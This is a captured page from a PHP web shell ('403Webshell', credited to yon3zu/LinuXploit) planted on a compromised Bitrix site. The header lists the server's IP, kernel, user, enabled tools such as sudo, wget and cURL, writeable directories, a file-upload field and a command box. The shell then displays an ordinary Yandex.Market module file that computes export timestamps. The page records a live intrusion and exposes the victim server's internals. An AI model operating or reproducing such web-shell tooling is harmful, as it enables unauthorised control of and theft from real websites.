403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/export/run/data/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/export/run/data/exportdate.php
<?php

namespace Yandex\Market\Export\Run\Data;

use Bitrix\Main;
use Yandex\Market;

class ExportDate
{
	public static function getLastUpdate(Market\Export\Setup\Model $setup)
	{
		$status = SetupStatus::getExportState($setup);

		if ($status !== Market\Export\Run\Data\SetupStatus::EXPORT_READY) { return null; }

		/** @var Main\Entity\DataManager[] $storages */
		$result = null;
		$storages = [
			Market\Export\Run\Storage\GiftTable::class,
			Market\Export\Run\Storage\PromoTable::class,
			Market\Export\Run\Storage\CurrencyTable::class,
			Market\Export\Run\Storage\CategoryTable::class,
			Market\Export\Run\Storage\OfferTable::class,
		];

		foreach ($storages as $storage)
		{
			$query = $storage::getList([
				'select' => [ 'TIMESTAMP_X' ],
				'filter' => [ '=SETUP_ID' => $setup->getId() ],
				'order' => [ 'TIMESTAMP_X' => 'desc' ],
				'limit' => 1,
			]);
			$row = $query->fetch();

			if (empty($row['TIMESTAMP_X'])) { continue; }

			/** @var Main\Type\DateTime $timestamp */
			$timestamp = $row['TIMESTAMP_X'];

			if (
				$result === null
				|| Market\Data\DateTime::compare($result, $timestamp) === -1
			)
			{
				$result = $timestamp;
			}
		}

		if ($result instanceof Market\Data\Type\CanonicalDateTime)
		{
			$result->setServerTimeZone();
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit